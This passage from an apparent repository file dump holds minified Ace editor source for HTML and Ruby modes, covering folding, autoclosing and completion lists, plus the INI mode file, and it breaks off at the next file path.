s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/ruby\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ruby_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ruby_highlight_rules\").RubyHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/coffee\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/),u=t.match(/^\\s*(class|def|module)\\s.*$/),a=t.match(/.*do(\\s*|\\s+\\|.*\\|\\s*)$/),f=t.match(/^\\s*(if|else)\\s*/);if(o||u||a||f)r+=n}return r},this.checkOutdent=function(e,t,n){return/^\\s+(end|else)$/.test(t+n)||this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){var r=t.getLine(n);if(/}/.test(r))return this.$outdent.autoOutdent(t,n);var i=this.$getIndent(r),s=t.getLine(n-1),o=this.$getIndent(s),a=t.getTabString();o.length<=i.length&&i.slice(-a.length)==a&&t.remove(new u(n,i.length-a.length,n,i.length))},this.$id=\"ace/mode/ruby\"}.call(l.prototype),t.Mode=l}),define(\"ace/mode/html_ruby\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_ruby_highlight_rules\",\"ace/mode/html\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/ruby\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_ruby_highlight_rules\").HtmlRubyHighlightRules,s=e(\"./html\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./ruby\").Mode,f=function(){s.call(this),this.HighlightRules=i,this.createModeDelegates({\"js-\":o,\"css-\":u,\"ruby-\":a})};r.inherits(f,s),function(){this.$id=\"ace/mode/html_ruby\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-ini.js",
    "content": "define(\"ace/mode/ini_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=\"\\\\\\\\(?:[\\\\\\\\0abtrn;#=:]|x[a-fA-F\\\\d]{4})\",o=function(){this.$rules={start:[{token:\"punctuation.definition.comment.ini\",regex:\"#.*\",push_:[{token:\"comment.line.number-sign.ini\",regex:\"$|^\",next:\"pop\"},{defaultToken:\"comment.line.number-sign.ini\"}]},{token:\"punctuation.definition.comment.ini\",regex:\";.*\",push_:[{token:\"comment.line.semicolon.ini\",regex:\"$|^\",next:\"pop\"},{defaultToken:\"comment.line.semicolon.ini\"}]},{token:[\"keyword.other.definition.ini\",\"text\",\"punctuation.separator.key-value.ini\"],regex:\"\\\\b([a-zA-Z0-9_.-]+)\\\\b(\\\\s*)(=)\"},{token:[\"punctuation.definition.entity.ini\",\"constant.section.group-title.ini\",\"punctuation.definition.entity.ini\"],regex:\"^(\\\\[)(.*?)(\\\\])\"},{token:\"punctuation.definition.string.begin.ini\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.ini\",regex:\"'\",next:\"pop\"},{token:\"constant.language.escape\",regex:s},{defaultToken:\"string.quoted.single.ini\"}]},{token:\"punctuation.definition.string.begin.ini\",regex:'\"',push:[{token:\"constant.language.escape\",regex:s},{token:\"punctuation.definition.string.end.ini\",regex:'\"',next:\"pop\"},{defaultToken:\"string.quoted.double.ini\"}]}]},this.normalizeRules()};o.metaData={fileTypes:[\"ini\",\"conf\"],keyEquivalent:\"^~I\",name:\"Ini\",scopeName:\"source.ini\"},r.inherits(o,i),t.IniHighlightRules=o}),define(\"ace/mode/folding/ini\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(){};r.inherits(o,s),function(){this.foldingStartMarker=/^\\s*\\[([^\\])]*)]\\s*(?:$|[;#])/,this.getFoldWidgetRange=function(e,t,n){var r=this.foldingStartMarker,s=e.getLine(n),o=s.match(r);if(!o)return;var u=o[1]+\".\",a=s.length,f=e.getLength(),l=n,c=n;while(++n<f){s=e.getLine(n);if(/^\\s*$/.test(s))continue;o=s.match(r);if(o&&o[1].lastIndexOf(u,0)!==0)break;c=n}if(c>l){var h=e.getLine(c).length;return new i(l,a,c,h)}}}.call(o.prototype)}),define(\"ace/mode/ini\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ini_highlight_rules\",\"ace/mode/folding/ini\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ini_highlight_rules\").IniHighlightRules,o=e(\"./folding/ini\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.blockComment=null,this.$id=\"ace/mode/ini\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-io.js",
